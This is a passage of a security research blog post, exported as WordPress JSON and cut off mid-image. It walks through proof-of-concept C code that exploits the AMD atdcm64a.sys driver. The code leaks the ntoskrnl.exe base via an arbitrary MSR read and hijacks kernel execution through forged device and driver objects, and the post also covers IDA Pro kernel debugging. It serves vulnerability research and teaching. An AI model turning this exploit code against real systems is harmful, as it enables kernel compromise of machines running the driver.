{"id":4091,"date":"2024-10-02T09:55:21","date_gmt":"2024-10-02T07:55:21","guid":{"rendered":"https:\/\/security.humanativaspa.it\/?p=4091"},"modified":"2025-09-15T13:21:15","modified_gmt":"2025-09-15T13:21:15","slug":"exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2","status":"publish","type":"post","link":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/","title":{"rendered":"Exploiting AMD atdcm64a.sys arbitrary pointer dereference &#8211; Part 2"},"content":{"rendered":"<p>Welcome back! We concluded the <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a.sys-arbitrary-pointer-dereference-part-1\">previous article<\/a> by spotting two vulnerabilities in <em>atdcm64a.sys<\/em>: an <strong>arbitrary MSR read<\/strong> and an <strong>arbitrary pointer dereference<\/strong>. In this second part of the <a href=\"https:\/\/hnsecurity.it\/tag\/atdcm64a\/\">series<\/a> we will focus on confirming that we can actually exploit these vulnerabilities.<\/p>\n<p>We will start with the <strong>arbitrary MSR read<\/strong>, by creating a PoC that exploits the vulnerability by reading a <strong>Model Specific Register (MSR)<\/strong> of our choice and finally retrieves the <strong>base address of ntoskrnl.exe<\/strong>.<\/p>\n<p>Then we will focus on the <strong>arbitrary pointer dereference<\/strong>. In this case the objective of the PoC will be to <strong>redirect the execution flow to an arbitrary location<\/strong> leading the VM to crash by causing a <em>BSOD<\/em>. We will have to define multiple data structures in order to successfully hijack the execution flow and debug the driver. We will see how to <strong>debug the driver using IDA Pro with the assistance of the decompiled code<\/strong>.<\/p>\n<div>\n<div>\n<h2>Confirming the vulnerabilities<\/h2>\n<div>\n<p>At this point the objective is confirming that we are actually able to exploit the vulnerabilities by creating a simple C\/C++ program that interacts with the driver and sends the appropriate IOCTLs.<\/p>\n<\/div>\n<h3>Confirming the arbitrary MSR read<\/h3>\n<div>\n<p>Let&#8217;s start confirming the arbitrary MSR read vulnerability as it seems much easier to exploit. Here&#8217;s a snippet of code that allows us to confirm the vulnerability:<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">[...]\r\n\r\nDWORD64 g_ntbase = 0;\r\nDWORD64 g_kisystemcall64shadow = 0;\r\n[...]\r\n#define SIZE_BUF 4096\r\n#define IOCTL_READMSR 0x22e09c\r\n#define IOCTL_ARBITRARYCALLDRIVER    0x22e04c\r\n#define IA32_GS_BASE 0xc0000101\r\n#define IA32_LSTAR\t0xc0000082\r\n#define IA32_STAR\t0xc0000081\r\n\r\nHANDLE g_device;\r\n\r\n\r\nBOOL readMSR(DWORD msr_value,PVOID outputBuffer, SIZE_T outSize) {\r\n    char* inputBuffer = (char*)VirtualAlloc(\r\n        NULL,\r\n        SIZE_BUF,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n\r\n    *((DWORD*)inputBuffer) = msr_value;\r\n\r\n    if (inputBuffer == NULL)\r\n        return -2;\r\n\r\n    printf(\"[+] User buffer allocated: 0x%8p\\n\", inputBuffer);\r\n    \r\n\r\n    DWORD bytesRet = 0;\r\n\r\n    \r\n    BOOL res = DeviceIoControl(\r\n        g_device,\r\n        IOCTL_READMSR,\r\n        inputBuffer,\r\n        SIZE_BUF,\r\n        outputBuffer,\r\n        outSize,\r\n        &amp;bytesRet,\r\n        NULL\r\n    );\r\n\r\n    printf(\"[*] sent IOCTL_READMSR \\n\");\r\n    if (!res) {\r\n        printf(\"[-] DeviceIoControl failed with error: %d\\n\", GetLastError());\r\n    }\r\n    return res;\r\n}\r\n\r\n\r\nint main()\r\n{\r\n    DWORD bytesRet = 0;\r\n\r\n    g_device = CreateFileA(\r\n        \"\\\\\\\\.\\\\AtiDCM\",\r\n        GENERIC_READ | GENERIC_WRITE,\r\n        0,\r\n        NULL,\r\n        OPEN_EXISTING,\r\n        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,\r\n        NULL);\r\n\r\n\r\n\r\n    if (g_device == INVALID_HANDLE_VALUE)\r\n    {\r\n        printf(\"[-] Failed to open handle to device.\");\r\n        return -1;\r\n    }\r\n\r\n    printf(\"[+] Opened handle to device: 0x%8p\\n\", g_device);\r\n\r\n    char* outputBuffer = (char*)VirtualAlloc(\r\n        NULL,\r\n        SIZE_BUF,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n\r\n\r\n    memset(outputBuffer, 0x0, SIZE_BUF);\r\n\r\n\r\n    if (readMSR(IA32_LSTAR, outputBuffer, SIZE_BUF)) {\r\n        printf(\"[+] readMSR success.\\n\");\r\n        printf(\"[+] IA32_LSTAR = 0x%8p\\n\", *((DWORD64*)(outputBuffer + 12)));\r\n        \/\/printf(\"[+] IA32_LSTAR = 0x%8p\\n\", *((DWORD64*)(outputBuffer + 4)));\r\n        g_kisystemcall64shadow = *((DWORD64*)(outputBuffer + 12));\r\n        g_ntbase = (DWORD64)g_kisystemcall64shadow - 0xaf61c0;\r\n        printf(\"[+] g_ntbase = 0x%p\\n\", g_ntbase);\r\n    }\r\n\r\n    return 0;\r\n}<\/pre>\n<div>\n<div>\n<p>The PoC simply does the following:<\/p>\n<ol>\n<li>Open the handle to device using the name <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">\\\\.\\AtiDCM<\/code>.<\/li>\n<li>Issue a call to <strong><em>DeviceIoControl()<\/em><\/strong> passing as input: the <em>handle<\/em> obtained previously, the <strong>IOCTL 0x22e09c<\/strong>, that allows to reach the vulnerability, the <em>inputBuffer<\/em>, that contains the value of the <strong>MSR that we want to read<\/strong> (in this case is 0xc0000082 that corresponds to the <strong>IA32_LSTAR MSR<\/strong>) and the <em>outputBuffer<\/em>.<\/li>\n<li>Read the value of the <strong>IA32_LSTAR<\/strong> register from the outputBuffer (it contains the address of <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">nt!KiSystemCall64Shadow<\/code>) and then <strong>subtract offset 0xaf61c0<\/strong> in order to retrieve the <strong>base address of ntoskrnl.exe<\/strong>.<\/li>\n<\/ol>\n<\/div>\n<div>After compiling and running our PoC we get the following output.<\/div>\n<div><\/div>\n<div>\n<figure id=\"attachment_3814\" aria-describedby=\"caption-attachment-3814\" style=\"width: 392px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3814 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-28-1.png\" alt=\"\" width=\"392\" height=\"154\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-28-1.png 392w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-28-1-300x118.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-28-1-350x138.png 350w\" sizes=\"(max-width: 392px) 100vw, 392px\" \/><figcaption id=\"caption-attachment-3814\" class=\"wp-caption-text\">Leaking the base of ntoskrnl.exe running the PoC<\/figcaption><\/figure>\n<\/div>\n<div>We can confirm in Windbg that the base address of ntoskrnl.exe calculated in the PoC is valid.<\/div>\n<div><\/div>\n<div>\n<figure id=\"attachment_3815\" aria-describedby=\"caption-attachment-3815\" style=\"width: 1118px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3815 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-29-1.png\" alt=\"\" width=\"1118\" height=\"309\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-29-1.png 1118w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-29-1-300x83.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-29-1-1024x283.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-29-1-768x212.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-29-1-350x97.png 350w\" sizes=\"(max-width: 1118px) 100vw, 1118px\" \/><figcaption id=\"caption-attachment-3815\" class=\"wp-caption-text\">Printing the base address of ntoskrnl.exe in windbg<\/figcaption><\/figure>\n<\/div>\n<\/div>\n<\/div>\n<div>\n<h3>Confirming the arbitrary pointer dereference<\/h3>\n<div>\n<p>In order to confirm the second vulnerability we need to:<\/p>\n<ul>\n<li>Issue another <em>DeviceIoControl()<\/em> passing as input: the <em>IOCTL<\/em> that allows to reach the vulnerability and an <strong><em>inputBuffer<\/em><\/strong>.<\/li>\n<li>Create multiple data structures in memory to craft an <em><strong>inputBuffer <\/strong><\/em>that allows us to reach the <strong>call to arbitrary function pointer<\/strong> in the <em><strong>IofCallDriver()<\/strong><\/em> procedure.<\/li>\n<li>Debug the driver.<\/li>\n<\/ul>\n<\/div>\n<div>\n<p>Below I try to summarize what calls are performed by the driver in the execution flow that lead to a <strong>call to arbitrary function pointer<\/strong>:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">callDriver(*(systemBuffer+1),.....) \r\n\u2502\r\n\u251c&gt;AttachedDevice = IoGetAttachedDeviceReference(*(systemBuffer+1)) \r\n\u251c&gt;IofCallDriver(AttachedDevice,...)\r\n  \u2502\r\n  \u251c&gt;AttachedDevice-&gt;DriverObject-&gt;MajorFunction[IRP_MJ_XXX](AttachedDevice,...)<\/pre>\n<\/div>\n<div>\n<p>This means that we must:<\/p>\n<ul>\n<li>Allocate a <strong>first<\/strong> object named <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object<\/code> that contains our <strong>first fake<\/strong> <strong>_DEVICE_OBJECT<\/strong> named <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">DeviceObject<\/code>, prepended by an <strong>_OBJECT_HEADER<\/strong>. Recall that we have to pass the increment performed by <em><strong>ObpIncrPointerCount()<\/strong><\/em>, in <em><strong>IoGetAttachedDeviceReference()<\/strong><\/em>. Failing to allocate space also for the _OBJECT_HEADER will trigger a <strong>BSOD<\/strong>.<\/li>\n<li>Allocate a <strong>second<\/strong> object named <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object2<\/code> that contains our <strong>second fake<\/strong> <strong>_DEVICE_OBJECT <\/strong>named\u00a0<code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">DeviceObject2<\/code> prepended by another <strong>_OBJECT_HEADER<\/strong>.<\/li>\n<li>Set <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">DeviceObject-&gt;AttachedDevice = DeviceObject2<\/code>. This way <strong><em>IoGetAttachedDeviceReference()<\/em> will return a pointer to DeviceObject2<\/strong>.<\/li>\n<li>Create a _DRIVER_OBJECT named <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">DriverObject<\/code> containing the <strong>function pointer<\/strong> defined by us.<\/li>\n<li>Set <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">DeviceObject2-&gt;DriverObject = DriverObject<\/code>. This way <em><strong>IofCallDriver() <\/strong><\/em><strong>will dereference our <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">DriverObject<\/code> and call our arbitrary function pointer<\/strong>.<\/li>\n<\/ul>\n<\/div>\n<div>\n<p>Here&#8217;s a visualization of the objects we would like to create in memory:<\/p>\n<\/div>\n<div>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-3818\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-32-1.png\" alt=\"\" width=\"1111\" height=\"414\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-32-1.png 1111w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-32-1-300x112.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-32-1-1024x382.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-32-1-768x286.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-32-1-350x130.png 350w\" sizes=\"(max-width: 1111px) 100vw, 1111px\" \/><\/p>\n<\/div>\n<div>\n<p>Below you can find the updated code. In this case it just sets the arbitrary function pointer to be <em>0xdeadbeef<\/em>.<\/p>\n<\/div>\n<div>\n<p><em>The actual code contains a bunch of other definitions such as <a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/windows-11\/22h2\/_DEVICE_OBJECT\">DEVICE_OBJECT<\/a> and <a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/windows-11\/22h2\/_DRIVER_OBJECT\">DRIVER_OBJECT<\/a> that I skipped for clarity in the code block below. However, you can very likely find all the required definitions in <a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/windows-11\/22h2\">vergilius project<\/a> or directly in the <a href=\"https:\/\/github.com\/tpn\/winsdk-10\/tree\/master\/Include\">header files<\/a>.\u00a0<\/em><\/p>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">[...]\r\n\r\ntypedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _DEVICE_OBJECT {\r\n    CSHORT Type;\r\n    USHORT Size;\r\n    LONG ReferenceCount;\r\n    struct _DRIVER_OBJECT* DriverObject;\r\n    struct _DEVICE_OBJECT* NextDevice;\r\n    struct _DEVICE_OBJECT* AttachedDevice;\r\n[...]\r\n\r\n\r\n\r\nDWORD64 g_ntbase = 0;\r\nDWORD64 g_kisystemcall64shadow = 0;\r\n[...]\r\n#define SIZE_BUF 4096\r\n#define IOCTL_READMSR 0x22e09c\r\n#define IOCTL_ARBITRARYCALLDRIVER    0x22e04c\r\n#define IA32_GS_BASE 0xc0000101\r\n#define IA32_LSTAR\t0xc0000082\r\n#define IA32_STAR\t0xc0000081\r\n\r\nHANDLE g_device;\r\n\r\n\r\nBOOL readMSR(DWORD msr_value,PVOID outputBuffer, SIZE_T outSize) {\r\n    [...]\r\n}\r\n\r\nBOOL arbitraryCallDriver(PVOID outputBuffer, SIZE_T outSize) {\r\n    char* inputBuffer = (char*)VirtualAlloc(\r\n        NULL,\r\n        21,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n\r\n    char* object = (char*)VirtualAlloc(\r\n        NULL,\r\n        SIZE_BUF,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n    printf(\"[+] object = 0x%p\\n\", object);\r\n\r\n    PDEVICE_OBJECT ptr = (PDEVICE_OBJECT)(object + 0x30);\r\n\r\n    memset(object, 0x41, 0x30);\r\n\r\n    printf(\"[+] ptr = 0x%p\\n\", ptr);\r\n    char* object2 = (char*)VirtualAlloc(\r\n        NULL,\r\n        SIZE_BUF,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n\r\n    printf(\"[+] object2 = 0x%p\\n\", object2);\r\n    memset(object2, 0x43, 0x30);\r\n\r\n    char* driverObject = (char*)VirtualAlloc(\r\n        NULL,\r\n        SIZE_BUF,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n\r\n    memset(driverObject, 0x50, SIZE_BUF);\r\n    printf(\"[+] driverObject = 0x%p\\n\", driverObject);\r\n    char* ptrDriver = driverObject + 0x30;\r\n    char* pDriverFunction = ptrDriver + 0x1b*8+0x70;\r\n\r\n    *((PDWORD64)pDriverFunction) = 0xdeadbeef;\r\n\r\n    ptr-&gt;AttachedDevice = (PDEVICE_OBJECT)(object2 + 0x30);\r\n\r\n    \r\n    memset(ptr-&gt;AttachedDevice, 0x42, SIZE_BUF-0x40);\r\n\r\n    printf(\"[+] ptr-&gt;AttachedDevice = 0x%p\\n\", ptr-&gt;AttachedDevice);\r\n    \r\n    \r\n    ptr-&gt;AttachedDevice-&gt;DriverObject = (_DRIVER_OBJECT*)ptrDriver;\r\n    ptr-&gt;AttachedDevice-&gt;AttachedDevice = 0;\r\n    char* ptr2 = inputBuffer;\r\n    *(ptr2) = 0;\r\n    ptr2 += 1;\r\n    *((PDWORD64)ptr2) = (DWORD64)ptr;\r\n    \r\n\r\n    printf(\"[+] User buffer allocated: 0x%8p\\n\", inputBuffer);\r\n\r\n    DWORD bytesRet = 0;\r\n\r\n    getchar();\r\n\r\n    BOOL res = DeviceIoControl(\r\n        g_device,\r\n        IOCTL_ARBITRARYCALLDRIVER,\r\n        inputBuffer,\r\n        SIZE_BUF,\r\n        outputBuffer,\r\n        outSize,\r\n        &amp;bytesRet,\r\n        NULL\r\n    );\r\n\r\n    printf(\"[*] sent IOCTL_ARBITRARYCALLDRIVER \\n\");\r\n    if (!res) {\r\n        printf(\"[-] DeviceIoControl failed with error: %d\\n\", GetLastError());\r\n    }\r\n    return res;\r\n}\r\n\r\n\r\nint main()\r\n{\r\n    DWORD bytesRet = 0;\r\n\r\n    g_device = CreateFileA(\r\n        \"\\\\\\\\.\\\\AtiDCM\",\r\n        GENERIC_READ | GENERIC_WRITE,\r\n        0,\r\n        NULL,\r\n        OPEN_EXISTING,\r\n        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,\r\n        NULL);\r\n\r\n\r\n  [...]\r\n\r\n    if (readMSR(IA32_LSTAR, outputBuffer, SIZE_BUF)) {\r\n        [...]\r\n    }\r\n\r\n  arbitraryCallDriver(outputBuffer, SIZE_BUF);\r\n    return 0;\r\n}<\/pre>\n<\/div>\n<div>\n<div>\n<p>The <em>arbitraryCallDriver()<\/em> is the function that triggers the vulnerability and performs the following:<\/p>\n<ol>\n<li>Allocate the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">inputBuffer<\/code> that will <strong>contain the final buffer that will be sent to driver<\/strong> through the DeviceIoControl WinAPI.<\/li>\n<li>Allocate <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object<\/code>, set <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">ptr<\/code> to point to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object+0x30<\/code> (after the <em>_OBJECT_HEADER struct<\/em>) and fill the <em>_OBJECT_HEADER<\/em> with the dummy value 0x41.<\/li>\n<li>Allocate <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object2<\/code> and fill its <em>_OBJECT_HEADER<\/em> with the dummy value 0x43.<\/li>\n<li>Allocate <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">DriverObject<\/code>, fill it with the dummy value 0x50 and <strong>set the target function pointer<\/strong>\u00a0that will be called by the driver to be <strong>0xdeadbeef<\/strong>. Notice how we calculate the offset from <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">DriverObject<\/code> to the target function pointer. First we set <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">ptrDriver<\/code> to point to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">DriverObject+0x30<\/code> in order to skip the <em>_OBJECT_HEADER<\/em>. Then from <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">ptrDriver<\/code> we <strong>sum 0x70<\/strong> (if you take the definition of <a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/windows-11\/22h2\/_DRIVER_OBJECT\">_DRIVER_OBJECT<\/a> the <strong>start of the MajorFunction array is at 0x70<\/strong>) and then we sum <strong>0x1b*8<\/strong>. 8 because the <strong>size of a function pointer is 8 bytes in a x64 architecture<\/strong>. 0x1b because in the reversed <em>callDriver()<\/em> function the call to <em><strong>IoBuildSynchronousFsdRequest()<\/strong><\/em> is passing as first parameter <strong>IRP_MJ_PNP<\/strong>. If we give a look at the definition of <strong>IRP_MJ_PNP<\/strong> inside <a href=\"https:\/\/github.com\/tpn\/winsdk-10\/blob\/master\/Include\/10.0.14393.0\/km\/wdm.h#L26620\">wdm.h<\/a>, its value <strong>corresponds to 0x1b<\/strong>.<\/li>\n<li>After that we set that the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">AttachedDevice<\/code> field of <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object<\/code> points to the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">DeviceObject<\/code> inside <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object2<\/code> at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object2+x030<\/code>. The <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">AttachedDevice<\/code> field of <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object<\/code> can be now referenced also with <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">ptr-&gt;AttachedDevice<\/code>.<\/li>\n<li>Finally we set <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">ptr-&gt;AttachedDevice-&gt;DriverObject<\/code> to point to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">ptrDriver<\/code> (that contains our rogue <em>_DRIVER_OBJECT<\/em> with the function pointer that points to <strong>0xdeadbeef<\/strong>) and <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">ptr-&gt;AttachedDevice-&gt;DeviceObject<\/code> to <strong>NULL<\/strong> so that we can <strong>exit successfully from the for loop<\/strong> inside <em>IoGetAttachedDeviceReference()<\/em>.<\/li>\n<li>We populate our <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">inputBuffer<\/code> with the <strong>first byte equal to 0<\/strong> and the <strong><strong>subsequent 8 bytes containing the pointer to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">ptr<\/code><\/strong><\/strong>(that is <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object+0x30<\/code>). We must set the first byte equal to 0, because if you re-inspect the figure below you may notice the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">if(*(_BYTE*)systemBuffer_12)<\/code> that may lead to a <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">goto completeRequest2<\/code>, where the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">completeRequest2<\/code> label references a code location that <strong>exits from the function<\/strong> and <strong>won&#8217;t allow us to enter the vulnerable path<\/strong>. So by just <strong><strong>setting the first byte of\u00a0 <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">systemBuffer_12<\/code><\/strong><\/strong><strong>\u00a0to 0<\/strong> we can just skip this condition and reach our vulnerable function.<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_3811\" aria-describedby=\"caption-attachment-3811\" style=\"width: 608px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3811 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-25-1.png\" alt=\"\" width=\"608\" height=\"666\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-25-1.png 608w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-25-1-274x300.png 274w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-25-1-350x383.png 350w\" sizes=\"(max-width: 608px) 100vw, 608px\" \/><figcaption id=\"caption-attachment-3811\" class=\"wp-caption-text\">call to callDriver()<\/figcaption><\/figure>\n<div>\n<h3>Debugging with IDA Pro<\/h3>\n<div>\n<p>Crafting the proper inputBuffer and data structures in order to reach a vulnerability is typically difficult to do at the first shot. It usually requires debugging and a fair amount of trial and error.<\/p>\n<\/div>\n<div>\n<p>For this reason, I&#8217;m going to show how to <strong>debug the driver with the assistance of IDA Pro Debugger<\/strong>. This proves to be particularly useful especially when you want to <strong>debug a routine and understand its behavior with the assistance of the pseudocode provided by IDA Pro<\/strong>.<\/p>\n<p>You can setup the <strong>IDA Pro Debugger<\/strong> to do kernel debugging as follows:<\/p>\n<\/div>\n<ol>\n<li>Press <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">f9<\/code> or click <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Debugger &gt; Select debugger...<\/code>.<\/li>\n<li>Select the option <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Windbg debugger<\/code>.<\/li>\n<li>Click <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Debugger &gt; process options...<\/code>.<\/li>\n<li>In the connection string enter <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">net:port=&lt;port&gt;,key=&lt;a.b.c.d&gt;<\/code> you can get the port and key values by typing <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">bcdedit \/dbgsettings<\/code> (run it as administrator) in your Windows VM.<\/li>\n<li>Click <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Debugger Debugger specific options<\/code> and set <strong>Kernel mode debugging<\/strong> and click <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Ok<\/code>.<\/li>\n<li>Click <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Debugger Options<\/code> and check <strong>Autoload PDB files<\/strong>.<\/li>\n<\/ol>\n<div>You can now press the <strong>green play button<\/strong> on top and you will notice it will start <strong>loading PDB symbols<\/strong> for all the drivers loaded in the Windows VM.<\/div>\n<div><\/div>\n<div><em>We are actually just interested in loading symbols just for ntoskrnl.exe but I couldn&#8217;t find a way to specify it.<\/em><\/div>\n<div>\n<figure id=\"attachment_3820\" aria-describedby=\"caption-attachment-3820\" style=\"width: 1976px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3820 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-34-1.png\" alt=\"\" width=\"1976\" height=\"976\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-34-1.png 1976w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-34-1-300x148.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-34-1-1024x506.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-34-1-768x379.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-34-1-1536x759.png 1536w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-34-1-350x173.png 350w\" sizes=\"(max-width: 1976px) 100vw, 1976px\" \/><figcaption id=\"caption-attachment-3820\" class=\"wp-caption-text\">IDA Pro loading PDB symbols<\/figcaption><\/figure>\n<\/div>\n<div>\n<p>At this point we are able to <strong>set breakpoints inside our vulnerable driver and debug it with the assistance of the pseudocode<\/strong> but we are <strong>not able to do the same with the ntoskrnl.exe<\/strong> module.<\/p>\n<p>In particular, <strong>we would like to debug, assisted by the pseudocode, the functions called by <em>callDriver()<\/em><\/strong> such as <em>IoGetAttachedDeviceReference()<\/em>, <em>IoBuildSynchronousFsdRequest()<\/em> and <em>IofCallDriver()<\/em>.<\/p>\n<\/div>\n<div>\n<p>We can achieve this as follows:<\/p>\n<ol>\n<li>Click <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">View &gt; Open subviews &gt; Segments<\/code> and right click on the <strong>nt<\/strong> module and select <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Edit segment<\/code>.\n<p><figure id=\"attachment_3822\" aria-describedby=\"caption-attachment-3822\" style=\"width: 1075px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3822 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-36-1.png\" alt=\"\" width=\"1075\" height=\"436\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-36-1.png 1075w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-36-1-300x122.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-36-1-1024x415.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-36-1-768x311.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-36-1-350x142.png 350w\" sizes=\"(max-width: 1075px) 100vw, 1075px\" \/><figcaption id=\"caption-attachment-3822\" class=\"wp-caption-text\">Modify nt segment &#8211; Step 1<\/figcaption><\/figure><\/li>\n<li>\u00a0<strong>Uncheck Debugger segment<\/strong>\u00a0and <strong>check Loader segment <\/strong>(see <a href=\"https:\/\/hex-rays.com\/blog\/several-files-in-one-idb-part-3\">here<\/a> for further details). Press Ok.\n<p><figure id=\"attachment_3823\" aria-describedby=\"caption-attachment-3823\" style=\"width: 561px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3823 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-37-1.png\" alt=\"\" width=\"561\" height=\"432\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-37-1.png 561w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-37-1-300x231.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-37-1-350x270.png 350w\" sizes=\"(max-width: 561px) 100vw, 561px\" \/><figcaption id=\"caption-attachment-3823\" class=\"wp-caption-text\">Modify nt segment &#8211; Step 2<\/figcaption><\/figure><\/li>\n<\/ol>\n<\/div>\n<div>You will see that IDA Pro starts performing the conversion:<\/div>\n<div><\/div>\n<div>\n<figure id=\"attachment_3824\" aria-describedby=\"caption-attachment-3824\" style=\"width: 593px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3824 size-full\" 